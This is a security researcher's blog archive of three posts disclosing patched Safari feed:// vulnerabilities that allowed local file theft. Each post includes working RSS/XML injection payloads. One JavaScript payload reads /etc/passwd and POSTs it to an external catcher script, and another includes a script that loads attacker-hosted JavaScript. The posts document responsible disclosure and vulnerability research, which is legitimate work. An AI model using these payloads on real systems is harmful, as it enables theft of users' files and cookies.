Archive for the 'Security' Category
Monday, August 2nd, 2010
Stealing Files With Safari 5 (CVE-2010-1778)
Last week, Apple patched a bug in Safari I had reported to the Apple security team. The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”. The advisory can be found here (CVE-2010-1778).
Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source. Then try browsing to the same URL with Safari and view source. You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).
When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript. This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy. This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol. The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):
<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>
<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link><im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>
The XML above is transformed into the following by Safari’s feed processing routines:
<div>
<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>
<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>
The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice. A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml). For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog. A better payload would be to crawl certain log files, extracting the username of the current user. Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into. Various configuration and ini files could be useful as well. I’m putting the final touches on a metasploit module that does just this 
Tuesday, June 9th, 2009
Safari 3.2.2 Feed Protocol Handler Issues
A few weeks ago, Apple released a patch for their Safari browser. The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back. The advisory can be found here. This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year. The details of the original vulnerability can be found here. Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling. Here’s what we ended up with:
Safari can consume various RSS feeds for video content and music from iTunes. These RSS feeds contained information for each item on iTunes including ID, title, summary, and links to download the content. The RSS feed file looked something like this:
<?xml version=”1.0″ encoding=”utf-8″?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&id=287463411&s=143441</id>
<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi & Fantasy” scheme=”scheme”/>
…
</entry>
</feed>
Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler. As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system. Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript. The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file. It seems that the content provided to the summary tag was missed by the encoding routines built into Safari. We simply place Script tags within the summary tags and serve the file from our own server.
…
<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…
Which is converted to HTML by Safari and rendered under feed:// as:
…
<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div><div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>
<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>
…
Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>
This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta. Both Windows and Mac systems were affected. Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box). On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll Happy hunting!
BK
Friday, February 13th, 2009
Stealing More Files with Safari
Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them. The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here. As always, Apple was excellent in their handling of the issue. Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I’ll buy you guys a couple beers.
Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway
When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)
First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:
feed://http://xs-sniper.com/blog/feed/
RSS files are basically XML files that contain content that can be rendered by RSS readers. In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:
<content:encoded><![CDATA[ .... ></content:encoded>
It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://
<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>
Which resulted in the following being rendered by Safari:
….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….
As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well. Despite the filtering, the HTML is valid and we now have script execution in the context of feed://. Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"
Proof of concept can be found here.
http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php
The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished. For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.
I’m very interested in vulnerabilities like this. We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort. Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.